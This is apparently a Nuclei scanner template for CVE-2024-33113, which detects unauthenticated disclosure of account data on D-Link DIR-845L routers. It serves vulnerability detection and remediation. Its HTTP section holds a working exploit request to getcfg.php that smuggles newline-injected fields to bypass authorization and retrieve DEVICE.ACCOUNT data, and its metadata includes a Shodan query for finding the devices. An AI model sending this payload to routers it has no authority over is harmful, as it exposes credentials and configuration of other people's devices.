id: CVE-2024-33113

info:
  name: D-LINK DIR-845L bsc_sms_inbox.php file - Information Disclosure
  author: pussycat0x
  severity: medium
  description: |
    D-LINK DIR-845L <=v1.01KRb03 is vulnerable to Information disclosurey via bsc_sms_inbox.php.
  impact: |
    Unauthenticated attackers can access sensitive account and configuration information from the D-LINK DIR-845L router.
  remediation: |
    Update D-LINK DIR-845L firmware to a version later than 1.01KRb03 that patches the information disclosure vulnerability.
  reference:
    - https://github.com/FaLLenSKiLL1/CVE-2024-33113
    - https://github.com/yj94/Yj_learning/blob/main/Week16/D-LINK-POC.md
  classification:
    epss-score: 0.03419
    epss-percentile: 0.87352
    cpe: cpe:2.3:h:dlink:dir-845l:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: "DIR-845L"
    product: dir-845l
    vendor: dlink
  tags: cve,cve2024,dlink,info-leak,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/getcfg.php?a=%0A_POST_SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<service>DEVICE.ACCOUNT</service>"
          - "<seqno>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100bf198c7c66fd8a2ba3c059386bb91507f0a8b09f787b913630156285ae7349f802206f1755fbb2776db6e27256bc404d5db7186398eaddf6cba32346289462e58cbf:922c64590222798bb761d5b6d8e72950